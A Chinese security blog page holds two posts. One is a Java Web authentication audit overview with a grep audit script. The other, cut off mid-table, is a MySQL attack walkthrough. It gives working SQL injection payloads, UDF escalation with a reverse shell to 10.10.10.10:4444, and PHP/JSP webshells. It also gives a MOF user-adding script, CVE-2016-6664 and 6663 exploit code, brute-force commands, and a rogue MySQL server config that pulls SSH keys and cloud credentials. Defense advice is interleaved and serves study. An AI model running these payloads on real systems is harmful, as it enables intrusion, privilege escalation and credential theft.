Capable

Change's a good thing


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 公益404

  • 搜索

Java Web 认证授权安全概览 — 框架识别、组件版本与审计清单

发表于 2026-05-07 | 分类于 Java安全 , Web安全 |

Java Web 认证授权安全概览

认证(你是谁)和授权(你能做什么)是 Web 应用安全的基石。Java 生态拥有成熟的框架体系,但配置不当反而会成为灾难的源头。

本文是系列文章的总览篇,提供框架识别、版本速查、加固清单和审计脚本,各主题深入剖析见后续文章。


系列文章导航

# 文章 内容
1 本文 — 安全概览 框架识别、CVE 版本速查、加固检查清单、审计脚本
2 Spring Security 安全配置与防护实践 web.ignoring() 陷阱、方法级鉴权、Actuator 安全、OAuth2
3 Apache Shiro 安全配置与防护实践 rememberMe RCE、路径绕过系列、Spring Boot 集成
4 JWT 认证安全实践与常见漏洞 算法混淆、签名验证、JWE 加密、Token 轮换
5 Java Web 鉴权绕过模式深度剖析 getRequestURI() 绕过、preHandle 缺陷、WAF 对抗
6 Java Web 会话管理与 Redis 认证实践 Session 校验模式、Redis 限流、分布式会话、WebSocket

一、认证框架识别

在审计或加固 Java Web 应用时,首先需要确定使用了哪个安全框架:

框架 识别特征 配置文件
Spring Security @EnableWebSecurity、SecurityFilterChain、@PreAuthorize SecurityConfig.java
Apache Shiro shiro.ini、@RequiresAuthentication、SecurityUtils shiro.ini、spring-shiro.xml
JWT 独立实现 io.jsonwebtoken、Jwts.parser()、Bearer Token application.yml
自定义 Filter implements Filter、doFilter() web.xml 或 @WebFilter
自定义 Interceptor implements HandlerInterceptor、preHandle() WebMvcConfigurer

1.1 框架选型指南

场景 推荐框架 原因
企业级 Web 应用 Spring Security 生态成熟,与 Spring Boot 无缝集成
轻量级/非 Spring 项目 Apache Shiro 配置简单,无 Spring 依赖
RESTful API JWT + Spring Security 无状态,适合分布式和移动端
遗留系统(Servlet 2.x) 自定义 Filter 不引入额外依赖
微服务网关层 OAuth2 + Spring Security 统一认证,Token 中继

审计优先级的经验法则:自定义 Filter/Interceptor 实现的认证系统出问题的概率最高,因为缺少框架的成熟保护机制。


二、高危组件版本速查

版本是安全审计的第一关。以下组件版本存在已知漏洞,必须升级:

组件 漏洞版本 关键 CVE CVSS 风险
Shiro < 1.2.5 CVE-2016-4437 9.8 rememberMe RCE
Shiro 1.2.5 ~ 1.4.1 SHIRO-721 9.8 Padding Oracle RCE
Shiro < 1.11.0 CVE-2023-22602 7.5 路径绕过
Spring Security < 5.7.12 CVE-2024-22257 8.2 授权绕过
Spring Security 6.4.0 ~ 6.4.3 CVE-2025-22223 7.5 @PreAuthorize 绕过
Spring Security < 6.3.8 / 6.4.4 CVE-2025-22228 7.5 BCrypt 认证绕过
Spring Security < 6.3.8 / 6.4.4 CVE-2025-22235 7.3 Actuator 绕过
Spring Security 7 < 7.0.5 CVE-2026-22753 7.5 访问控制绕过
JJWT < 0.12.6 CVE-2024-31033 5.3 密钥弱化
Tomcat < 9.0.90 CVE-2025-24813 9.8 路径等价 RCE
Fastjson < 1.2.83 CVE-2022-25845 8.1 反序列化 RCE

检测命令:

# 查找依赖版本
grep -A1 "shiro" pom.xml | grep version
grep -A1 "spring-security" pom.xml | grep version
grep -A1 "jjwt" pom.xml | grep version
grep -A1 "fastjson" pom.xml | grep version

# 扫描 JAR 文件
find . -name "shiro-core-*.jar" -o -name "spring-security-core-*.jar"
find . -name "fastjson-*.jar" -o -name "jjwt-*.jar"

2.1 漏洞优先级判断

代码审计中发现组件版本不安全的判断逻辑:

发现低版本组件
    │
    ├── CVSS ≥ 9.0 且可远程利用 → 立即报告,P0
    │   例:Shiro 1.2.4 (CVE-2016-4437, 9.8)
    │
    ├── CVSS ≥ 7.0 且需特定配置 → 确认配置条件后报告,P1
    │   例:Spring Security BCrypt (CVE-2025-22228, 7.5)
    │
    └── CVSS < 7.0 或仅本地利用 → 记录但不阻塞上线,P2
        例:JJWT 密钥弱化 (CVE-2024-31033, 5.3)

三、安全加固检查清单

检查项 风险 操作 详见
web.ignoring() 使用 🔴 替换为 permitAll() [Spring Security篇]
@EnableMethodSecurity 🔴 SS 6.x 需 @EnableMethodSecurity;SS 5.x 需 @EnableGlobalMethodSecurity(prePostEnabled=true) [Spring Security篇]
rememberMe 密钥 🔴 确认非硬编码,使用强随机密钥 [Shiro篇]
Shiro 版本 🔴 ≥ 1.13.0 或 2.0.0+ [Shiro篇]
jwsAlgorithm 白名单 🔴 只接受单一算法(RS256/ES256) [JWT篇]
parseClaimsJws vs parseClaimsJwt 🔴 确保始终使用带签名的版本 [JWT篇]
BCrypt 版本 🟡 spring-security-crypto ≥ 6.3.8 [Spring Security篇]
Actuator 暴露 🟡 独立端口 + 认证 + 最小暴露 [Spring Security篇]
Session Fixation 🟡 migrateSession() 或 newSession() [会话管理篇]
Cookie Secure/HttpOnly 🟡 确认已设置 [会话管理篇]
CORS 白名单 🟡 不出现 * + allowCredentials=true [Spring Security篇]
密码最小长度限制 🟡 限制 ≤ 72 字符(BCrypt 限制) [Spring Security篇]
Token 过期时间 🟡 Access Token ≤ 15 分钟 [JWT篇]
路径匹配 🟡 使用 getServletPath() 而非 getRequestURI() [绕过模式篇]
preHandle 授权检查 🟡 不能只认证不授权就 return true [绕过模式篇]
HTTPS 强制 🟡 requiresSecure() [Spring Security篇]
Redis 认证密码 🟡 生产环境必须设置 [会话管理篇]
安全响应头 🟢 CSP、XSS-Protection、X-Frame-Options [Spring Security篇]
错误信息 🟢 不向前端暴露框架/版本信息 全部

四、快速审计脚本

将此脚本放入项目根目录执行,可快速发现高危配置:

#!/bin/bash
# Java Web 认证授权快速审计脚本
# 用法:bash audit.sh /path/to/project

TARGET_DIR="${1:-.}"

echo "╔══════════════════════════════════╗"
echo "║  Java Web 认证授权审计            ║"
echo "╚══════════════════════════════════╝"
echo "目标: $TARGET_DIR"
echo ""

# ========== 1. 依赖版本检查 ==========
echo "┌── 依赖版本检查 ──────────────────┐"

echo "[*] Shiro 版本:"
grep -r "shiro" "$TARGET_DIR"/pom.xml 2>/dev/null | grep -E "version|<shiro" || echo "  未检测到 Shiro 依赖"
fgrep -r "shiro-core-" "$TARGET_DIR" --include="*.jar" 2>/dev/null | head -5

echo ""
echo "[*] Spring Security 版本:"
grep -r "spring-security" "$TARGET_DIR"/pom.xml 2>/dev/null | grep -E "version|<spring-security" || echo "  未检测到 Spring Security 依赖"

echo ""
echo "[*] JWT 库版本:"
grep -r "jjwt\|io.jsonwebtoken" "$TARGET_DIR"/pom.xml 2>/dev/null | grep version || echo "  未检测到 JWT 依赖"

echo ""
echo "[*] Fastjson 版本(高危组件):"
grep -r "fastjson" "$TARGET_DIR"/pom.xml 2>/dev/null | grep version || echo "  未检测到 Fastjson 依赖"

# ========== 2. 高危配置模式 ==========
echo ""
echo "┌── 高危配置模式 ──────────────────┐"

echo "[*] web.ignoring() 使用(路径完全移除安全):"
grep -rn "web\.ignoring()\|WebSecurityCustomizer" "$TARGET_DIR" --include="*.java" 2>/dev/null || echo "  未发现"

echo ""
echo "[*] rememberMe 硬编码密钥(CVE-2016-4437):"
grep -rn "DEFAULT_CIPHER_KEY\|kPH\+bIxk" "$TARGET_DIR" --include="*.java" --include="*.ini" 2>/dev/null || echo "  未发现硬编码密钥"

echo ""
echo "[*] parseClaimsJwt(无签名验证):"
grep -rn "parseClaimsJwt" "$TARGET_DIR" --include="*.java" 2>/dev/null && echo "  ⚠️  警告:parseClaimsJwt 不验证签名,请改用 parseClaimsJws" || echo "  未发现"

echo ""
echo "[*] @EnableMethodSecurity / @EnableGlobalMethodSecurity 缺失检查:"
# 有 @EnableWebSecurity 但没有启用方法安全注解的配置类
grep -rl "@EnableWebSecurity" "$TARGET_DIR" --include="*.java" 2>/dev/null | while read f; do
    grep -q "@EnableMethodSecurity\|@EnableGlobalMethodSecurity" "$f" || echo "  ⚠️  文件 $f 有 @EnableWebSecurity 但缺少 @EnableMethodSecurity / @EnableGlobalMethodSecurity"
done

echo ""
echo "[*] preHandle 只认证不授权(return true 无角色检查):"
grep -rn "preHandle" "$TARGET_DIR" --include="*.java" -A5 2>/dev/null | grep "return true" | head -10
grep -rn "getRequestURI.*endsWith\|getRequestURI.*contains\|getRequestURI.*startsWith" "$TARGET_DIR" --include="*.java" 2>/dev/null && echo "  ⚠️  警告:getRequestURI() + 后缀匹配可被分号绕过" || echo "  未发现"

# ========== 3. 密钥与凭证泄露 ==========
echo ""
echo "┌── 密钥与凭证泄露 ────────────────┐"

echo "[*] 代码中的密钥硬编码:"
grep -rn "secretKey\|privateKey\|SECRET\|password\s*=" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2>/dev/null | grep -v "test\|mock\|example\|#\|//" | head -5

echo ""
echo "[*] Redis 密码配置:"
grep -rn "redis.*password\|spring.redis.password" "$TARGET_DIR" --include="*.properties" --include="*.yml" 2>/dev/null || echo "  未配置 Redis 密码(仅本地开发可接受)"

# ========== 4. JWT 配置检查 ==========
echo ""
echo "┌── JWT 配置检查 ─────────────────┐"

echo "[*] JWT 算法白名单:"
grep -rn "jwsAlgorithms\|JWSAlgorithm\|SignatureAlgorithm" "$TARGET_DIR" --include="*.java" 2>/dev/null || echo "  未发现算法配置"

echo ""
echo "[*] JWT 过期时间配置:"
grep -rn "setExpiration\|expiration.*time\|jwt.*expir" "$TARGET_DIR" --include="*.java" --include="*.properties" --include="*.yml" 2>/dev/null | head -5

echo ""
echo "╔══════════════════════════════════╗"
echo "║  审计完成                         ║"
echo "╚══════════════════════════════════╝"
echo ""
echo "详细分析请参考系列文章:"
echo "  Spring Security → Spring Security 安全配置篇"
echo "  Shiro         → Apache Shiro 安全配置篇"
echo "  JWT           → JWT 认证安全实践篇"
echo "  preHandle Bypass → 鉴权绕过模式篇"

五、总结

Java Web 认证授权的安全问题主要集中在三个层面:

1. 框架误配置(占比最高)

  • web.ignoring() 完全移除安全机制 vs permitAll() 仅跳过认证
  • @EnableMethodSecurity 忘记启用导致注解静默失效
  • 过滤器链顺序错误导致精细规则被宽泛规则覆盖

2. 组件漏洞(影响最大)

  • Shiro rememberMe 硬编码密钥 (CVE-2016-4437) — CVSS 9.8,一击必杀
  • Shiro 路径绕过系列 — 从 1.2.x 到 1.11.0,持续数年
  • Spring Security BCrypt 截断、参数化类型注解丢失等

3. 业务逻辑缺陷(最难发现)

  • preHandle 只认证不授权:登录即 return true,无角色/权限校验
  • getRequestURI() + 后缀匹配白名单:;.js / ../ 轻松绕过
  • URI 解析差异导致鉴权绕过(getRequestURI() vs getServletPath())
  • JWT 算法混淆、签名验证缺失
  • 水平/垂直越权(IDOR)

防御原则:

  • 纵深防御:不依赖单层保护,Filter → Interceptor → AOP 层层把关
  • 认证+授权必须同时存在:preHandle 不能只检查登录状态就 return true
  • 最小权限:每个接口只授予完成功能所需的最小权限
  • 持续更新:框架和依赖保持最新,关注安全公告
  • 审计驱动:使用本文提供的脚本定期扫描危险模式
  • 安全默认:Cookie 必须 Secure + HttpOnly + SameSite,Token 必须短过期 + 签名验证

没有银弹,只有持续的关注和不断的加固。


参考资源

  • Spring Security 官方文档
  • Apache Shiro 安全公告
  • OWASP Authentication Cheat Sheet
  • OWASP Authorization Cheat Sheet
  • JWT Security Best Practices (RFC 8725)
  • CVE-2016-4437 Shiro rememberMe 反序列化
  • Spring Security CVE 公告
  • JJWT GitHub

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。对他人系统进行未授权的渗透测试属于违法行为。

阅读全文 »

MySQL安全配置与防护实践

发表于 2026-02-16 | 分类于 MySQL安全 , 数据库安全 |

MySQL安全配置与防护实践

数据库是现代信息系统的核心,也是黑客攻击的首要目标。MySQL作为使用最广泛的开源数据库之一,其安全性直接关系到企业的核心资产。本文将从攻击者视角全面梳理MySQL的各个攻击面,并给出对应的防御方案。


一、SQL注入

1.1 什么是SQL注入

SQL注入是指攻击者通过在用户输入中插入恶意SQL片段,改变原有SQL语句的逻辑,从而实现非授权的数据库操作。

1.2 注入类型

联合查询注入(Union Based)

最常见的注入方式,通过 UNION SELECT 将攻击者构造的查询结果拼接到正常查询结果中。

-- 判断列数
-- ?id=1' ORDER BY 3--+

-- 联合查询,获取数据库信息
-- ?id=-1' UNION SELECT 1,database(),user()--+

-- 获取所有表名
-- ?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

-- 获取列名
-- ?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+

-- 获取数据
-- ?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

报错注入(Error Based)

利用MySQL的报错函数,将查询结果通过错误信息带出。

-- extractvalue报错注入
SELECT extractvalue(1, concat(0x7e, (SELECT database()), 0x7e));

-- updatexml报错注入
SELECT updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1);

-- floor报错注入
SELECT count(*), concat((SELECT database()), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x;

布尔盲注(Boolean Based Blind)

页面无回显,仅通过返回页面的不同状态(正常/异常)来逐位推断数据。

-- 判断数据库名长度
-- ?id=1' AND length(database())=8--+

-- 逐字符判断数据库名
-- ?id=1' AND ascii(substr(database(),1,1))=115--+

-- 判断表名
-- ?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100--+

时间盲注(Time Based Blind)

通过 SLEEP() 或 BENCHMARK() 引起的响应时间差异来判断条件是否成立。

-- 如果数据库名第一个字符ASCII值为115,则延迟5秒
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, SLEEP(5), 0)--+

-- benchmark方式
-- ?id=1' AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)--+

堆叠注入(Stacked Queries)

部分场景下(如 mysqli_multi_query),可以通过分号执行多条SQL语句。

-- 直接执行任意SQL
-- ?id=1';INSERT INTO users(username,password) VALUES('hacker','123456');--+

-- 甚至可以修改管理员密码
-- ?id=1';UPDATE users SET password='hacked' WHERE username='admin';--+

1.3 SQL注入防御

// 正确:使用预编译语句(PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
# Python中使用参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

防御要点:

  • 所有用户输入必须使用参数化查询/预编译语句
  • 对输入进行白名单校验
  • 使用WAF作为辅助防御层
  • 数据库账号遵循最小权限原则,禁止应用账号拥有 FILE、SUPER 等高危权限

二、UDF提权

2.1 什么是UDF

UDF(User Defined Function)是MySQL提供的用户自定义函数机制,允许通过加载动态链接库(.so / .dll)来扩展MySQL的功能。攻击者可以利用该机制加载恶意动态库,从而在数据库服务器上执行系统命令。

2.2 利用条件

  • 已获取MySQL的高权限账号(如root)
  • secure_file_priv 为空或指向可写目录
  • 拥有对插件目录(plugin_dir)的写权限
  • MySQL服务以较高系统权限运行(如root/SYSTEM)

2.3 利用过程

第一步:查看关键变量

-- 查看插件目录位置
SHOW VARIABLES LIKE 'plugin_dir';
-- 通常为 /usr/lib/mysql/plugin/ 或 C:\MySQL\lib\plugin\

-- 查看secure_file_priv配置
SHOW VARIABLES LIKE 'secure_file_priv';

-- 查看系统架构
SHOW VARIABLES LIKE '%compile%';

-- 查看操作系统
SHOW VARIABLES LIKE 'version_compile_os';

第二步:写入恶意动态库

将UDF动态库文件以十六进制形式写入插件目录。sqlmap和Metasploit中都自带了UDF库文件。

-- 方式一:通过SELECT INTO DUMPFILE写入(需要secure_file_priv允许)
SELECT unhex('7F454C46...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';

-- 方式二:通过创建表中转
CREATE TABLE temp_udf(data LONGBLOB);
INSERT INTO temp_udf VALUES(unhex('7F454C46...'));
SELECT data FROM temp_udf INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys_exec.so';
DROP TABLE temp_udf;

第三步:创建自定义函数并执行命令

-- 创建函数(Linux)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.so';

-- 创建函数(Windows)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf_sys_exec.dll';

-- 执行系统命令
SELECT sys_exec('whoami');
SELECT sys_exec('id');

-- 反弹Shell
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"');

-- 添加系统用户(Windows)
SELECT sys_exec('net user hacker P@ssw0rd /add');
SELECT sys_exec('net localgroup administrators hacker /add');

第四步:清除痕迹

-- 删除自定义函数
DROP FUNCTION sys_exec;

-- 查看已加载的UDF
SELECT * FROM mysql.func;

2.4 UDF提权防御

  • secure_file_priv 设置为指定目录或 NULL(完全禁止文件操作)
  • 插件目录权限设为仅MySQL进程可读,禁止写入
  • MySQL服务以低权限用户运行,不要用root/SYSTEM
  • 定期审计 mysql.func 表,检查是否有异常的自定义函数

三、MOF提权(⚠️ 历史遗留技术)

适用性说明:MOF提权是 Windows 2000/XP/2003 时代的技术。从 Windows Server 2008 / Vista 开始,Microsoft 已移除 WMI MOF 自动编译执行机制,此攻击手法在较新 Windows 系统上不再有效。保留此节仅供历史参考。

MOF(Managed Object Format)是Windows WMI使用的一种文件格式。旧版Windows会自动编译执行 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件,攻击者可借此实现代码执行。

利用条件(仅限 Windows 2000/XP/2003):

  • 已获取MySQL高权限账号
  • MySQL以SYSTEM权限运行
  • secure_file_priv 允许写入目标路径

3.3 利用过程

第一步:构造MOF文件

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker P@ssw0rd123 /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

第二步:通过MySQL写入MOF文件

SELECT load_file('C:/evil.mof') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';

或者直接从十六进制写入:

SELECT unhex('23707261676D61...') INTO DUMPFILE 'C:/Windows/System32/wbem/mof/evil.mof';

第三步:等待系统自动执行

Windows WMI服务会自动监控mof目录,发现新文件后自动编译执行,攻击者添加的用户就会被创建。

3.4 MOF提权防御

  • 升级操作系统,Windows Server 2008 R2及以上版本已移除该自动执行机制
  • MySQL服务不要以SYSTEM权限运行
  • 限制 secure_file_priv,禁止向系统目录写入文件
  • 监控 C:\Windows\System32\wbem\mof\ 目录的文件变动

四、任意文件读写

4.1 任意文件读取(LOAD_FILE)

MySQL的 LOAD_FILE() 函数可以读取服务器上的本地文件。

利用条件:

  • 拥有 FILE 权限
  • secure_file_priv 允许或为空
  • 知道文件的绝对路径
  • 文件大小小于 max_allowed_packet
-- 读取系统敏感文件
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');
SELECT LOAD_FILE('/etc/my.cnf');

-- Windows
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');
SELECT LOAD_FILE('C:/phpstudy/www/config.php');

-- 读取网站配置文件获取数据库密码
SELECT LOAD_FILE('/var/www/html/config/database.php');

4.2 任意文件写入(INTO OUTFILE / INTO DUMPFILE)

通过SQL语句将内容写入服务器文件系统,常用于写入WebShell。

利用条件:

  • 拥有 FILE 权限
  • secure_file_priv 允许或为空
  • 知道Web目录的绝对路径
  • 目标目录有写权限
-- 写入一句话木马(PHP)
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- 写入JSP木马
SELECT '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' INTO OUTFILE '/usr/local/tomcat/webapps/ROOT/cmd.jsp';

-- INTO DUMPFILE 不会在末尾追加换行,适合写入二进制文件
SELECT unhex('4D5A...') INTO DUMPFILE '/tmp/evil.exe';

OUTFILE与DUMPFILE的区别:

  • INTO OUTFILE:会在行末添加换行符,列之间添加制表符,适合文本文件
  • INTO DUMPFILE:原样写入,不添加任何额外字符,适合二进制文件

4.3 通过日志写入WebShell

当 secure_file_priv 限制了 INTO OUTFILE 时,可以通过修改MySQL日志路径来写入WebShell。

-- 通过general_log写入WebShell
SET global general_log = 'ON';
SET global general_log_file = '/var/www/html/shell.php';
SELECT '<?php @eval($_POST["cmd"]); ?>';
SET global general_log = 'OFF';

-- 通过slow_query_log写入WebShell
SET global slow_query_log = 'ON';
SET global slow_query_log_file = '/var/www/html/slow.php';
SELECT '<?php @eval($_POST["cmd"]); ?>' OR SLEEP(11);
SET global slow_query_log = 'OFF';

4.4 文件读写防御

# my.cnf 中严格限制文件操作
[mysqld]
secure_file_priv = /tmp/mysql-files/   # 限制到指定目录
# 或者
secure_file_priv = NULL                 # 完全禁止文件操作(推荐)
  • 应用程序数据库账号不要授予 FILE 权限
  • Web目录禁止MySQL用户写入
  • 定期检查 general_log_file 和 slow_query_log_file 是否被篡改

五、MySQL并发条件竞争导致空口令登录漏洞(CVE-2012-2122)

5.1 漏洞原理

这是MySQL/MariaDB的一个经典认证绕过漏洞。在特定版本和特定编译条件下,MySQL在验证密码时使用 memcmp() 函数比较密码哈希值。由于某些平台(如使用SSE优化的Linux glibc)上 memcmp() 的返回值可能超出 [-128, 127] 的范围,当该值被强制转换为 my_bool(实际是 char 类型)时,可能发生截断,导致非零返回值被截断为零,从而绕过认证。

简单来说:每次用错误密码登录,都有大约 1/256 的概率认证成功。

5.2 受影响版本

  • MySQL 5.1.x(5.1.63之前)
  • MySQL 5.5.x(5.5.25之前)
  • MySQL 5.6.x(5.6.7之前)
  • MariaDB 5.1.x(5.1.62之前)
  • MariaDB 5.2.x(5.2.12之前)
  • MariaDB 5.3.x(5.3.6之前)
  • MariaDB 5.5.x(5.5.23之前)

5.3 利用方式

# 一行命令暴力尝试,利用概率绕过(约尝试300次即可成功)
for i in $(seq 1 1000); do mysql -u root --password=wrong -h target_ip 2>/dev/null && break; done

# 使用Python脚本利用
python3 -c "
import subprocess
for i in range(1000):
    ret = subprocess.call(['mysql', '-u', 'root', '--password=wrong', '-h', 'target_ip', '-e', 'SELECT 1'], 
                          stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    if ret == 0:
        print(f'Success after {i+1} attempts')
        break
"

Metasploit利用:

use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS target_ip
run

5.4 修复方案

  • 升级MySQL到5.1.63、5.5.25、5.6.7及以上版本
  • 升级MariaDB到对应修复版本
  • 限制MySQL服务仅监听本地或内网地址
  • 使用防火墙限制MySQL端口的访问来源

六、配置文件注入与权限提升(CVE-2016-6662/6663/6664)

6.1 CVE-2016-6662:配置文件注入导致RCE

这是2016年发现的一个严重漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)来实现远程代码执行。

漏洞原理: 攻击者通过SQL注入或已有的MySQL账号,利用日志功能将恶意配置写入my.cnf,然后在MySQL重启时加载恶意库文件。

利用条件:

  • 拥有MySQL账号(或通过SQL注入)
  • 拥有FILE权限或能够修改日志设置
  • 能够触发MySQL重启

攻击步骤:

-- 第一步:通过日志功能写入恶意配置
SET GLOBAL general_log_file = '/etc/mysql/my.cnf';
SET GLOBAL general_log = ON;
SELECT '
[mysqld]
malloc_lib=/tmp/mysql_exploit.so
';
SET GLOBAL general_log = OFF;

-- 第二步:将恶意动态库上传到服务器
-- 通过其他漏洞(如文件上传)将恶意.so文件放到/tmp/

-- 第三步:等待或触发MySQL重启
-- MySQL重启时会加载恶意库,执行任意代码

受影响版本:

  • MySQL 5.7.x < 5.7.15
  • MySQL 5.6.x < 5.6.33
  • MySQL 5.5.x < 5.5.52
  • MariaDB 10.1.x < 10.1.18
  • MariaDB 10.0.x < 10.0.28
  • MariaDB 5.5.x < 5.5.52
  • Percona Server 5.7.x < 5.7.14-8
  • Percona Server 5.6.x < 5.6.32-78.1
  • Percona Server 5.5.x < 5.5.51-38.2

6.2 CVE-2016-6663:条件竞争导致权限提升

这是一个本地权限提升漏洞,允许低权限的MySQL用户通过条件竞争提升到mysql系统用户权限。

漏洞原理: MySQL在创建表文件时存在条件竞争,攻击者可以在文件创建和权限设置之间的时间窗口内替换文件为符号链接。

利用方式:

#!/bin/bash
# 利用脚本示例

# 在MySQL中创建表,同时监控文件创建
while true; do
    if [ -f "/var/lib/mysql/testdb/exploit.MYD" ]; then
        rm -f /var/lib/mysql/testdb/exploit.MYD
        ln -s /etc/shadow /var/lib/mysql/testdb/exploit.MYD
        break
    fi
done &

# 在MySQL中执行
mysql -u lowpriv -p -e "
USE testdb;
CREATE TABLE exploit (data TEXT);
INSERT INTO exploit VALUES ('hacked');
"

受影响版本:

  • MySQL 5.5.x < 5.5.53
  • MySQL 5.6.x < 5.6.34
  • MySQL 5.7.x < 5.7.16
  • MariaDB 5.5.x < 5.5.53
  • MariaDB 10.0.x < 10.0.29
  • MariaDB 10.1.x < 10.1.20
  • Percona Server 5.5.x < 5.5.51-38.2
  • Percona Server 5.6.x < 5.6.32-78.1
  • Percona Server 5.7.x < 5.7.14-8

6.3 CVE-2016-6664:错误日志提权到root

这个漏洞允许mysql系统用户通过操纵错误日志文件提升到root权限。

漏洞原理: mysqld_safe脚本在处理错误日志时存在缺陷,攻击者可以将错误日志文件替换为符号链接,指向任意文件(如/etc/ld.so.preload),从而在MySQL重启时以root权限加载恶意库。

利用步骤:

# 第一步:创建恶意动态库
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    system("chmod u+s /bin/bash");
    unlink("/etc/ld.so.preload");
}
EOF

gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c

# 第二步:替换错误日志为符号链接
rm -f /var/log/mysql/error.log
ln -s /etc/ld.so.preload /var/log/mysql/error.log

# 第三步:触发MySQL重启
# mysqld_safe(以root运行)在启动时向error.log写入日志信息
# 由于 error.log → /etc/ld.so.preload(符号链接)
# 启动日志内容会被写入 ld.so.preload
# 结合 CVE-2016-6662 注入的恶意配置,重启后会以root权限加载恶意库
service mysql restart

# 第四步:获取root shell
/bin/bash -p

受影响版本:

  • MySQL 5.5.x < 5.5.53
  • MySQL 5.6.x < 5.6.34
  • MySQL 5.7.x < 5.7.16
  • MariaDB 5.5.x < 5.5.53
  • MariaDB 10.0.x < 10.0.29
  • MariaDB 10.1.x < 10.1.20
  • Percona Server(所有版本)

6.4 防御措施

针对CVE-2016-6662:

  • 升级到修复版本
  • 限制FILE权限
  • 配置文件权限设为只读(chmod 644 /etc/mysql/my.cnf)
  • 使用AppArmor/SELinux限制MySQL进程

针对CVE-2016-6663:

  • 升级到修复版本
  • 数据目录权限严格控制(chmod 700 /var/lib/mysql)
  • 使用独立的文件系统挂载数据目录,禁用符号链接(nosymfollow)

针对CVE-2016-6664:

  • 升级到修复版本
  • 日志目录权限严格控制
  • 使用systemd管理MySQL而非mysqld_safe
  • 监控关键文件的符号链接变化

七、其他攻击面与CVE漏洞

🔐 认证与初始访问

7.1 弱口令爆破

# 使用hydra爆破MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt target_ip mysql

# 使用medusa爆破
medusa -h target_ip -u root -P passwords.txt -M mysql

# nmap脚本爆破
nmap --script=mysql-brute -p 3306 target_ip

7.2 MySQL客户端任意文件读取(恶意服务端 / Fake MySQL Server)

这是一个针对MySQL客户端的攻击手法。MySQL协议允许服务端在认证阶段要求客户端发送本地文件(LOAD DATA LOCAL INFILE)。攻击者可以搭建恶意MySQL服务端,当受害者客户端连接时,窃取客户端主机上的任意文件。

攻击原理: MySQL协议在客户端执行 LOAD DATA LOCAL INFILE 时,服务端可以指定要读取的文件路径。恶意服务端可以在握手阶段就要求客户端发送敏感文件。

攻击场景:

  1. 攻击者搭建恶意MySQL服务器
  2. 诱导受害者连接(如通过钓鱼、SSRF、配置劫持等)
  3. 客户端连接时,恶意服务端要求读取敏感文件
  4. 客户端自动发送文件内容给服务端

利用工具:

# Rogue-MySql-Server(最常用的工具)
# https://github.com/allyshka/Rogue-MySql-Server
git clone https://github.com/allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server

# 修改配置文件,指定要读取的文件
vim config.json
{
    "fileList": [
        "/etc/passwd",
        "/etc/shadow",
        "/home/user/.ssh/id_rsa",
        "/var/www/html/config.php",
        "C:\\Windows\\win.ini",
        "C:\\Users\\Administrator\\Desktop\\passwords.txt"
    ],
    "port": 3306
}
# 启动恶意服务器
python rogue_mysql_server.py

攻击示例:

# 受害者执行以下命令连接
mysql -h attacker_ip -u root -p

# 或者通过应用程序连接
# 恶意服务端会自动读取配置的文件列表

高级利用场景:

  1. SSRF配合利用:
    通过SSRF漏洞让服务器连接恶意MySQL
    例如:http://vulnerable.com/api?db_host=attacker_ip:3306
    可以读取服务器上的敏感文件
    
  2. 供应链攻击:
    攻击者劫持DNS或中间人攻击
    将正常的MySQL服务器地址指向恶意服务器
    读取开发人员或运维人员的本地文件
    
  3. 读取云凭证:
    {
     "fileList": [
         "/home/user/.aws/credentials",
         "/home/user/.ssh/id_rsa",
         "/home/user/.docker/config.json",
         "/home/user/.kube/config",
         "C:\\Users\\user\\.aws\\credentials"
     ]
    }
    

常见敏感文件路径:

类别 Linux Windows
用户/密码 /etc/passwd、/etc/shadow C:\Windows\win.ini
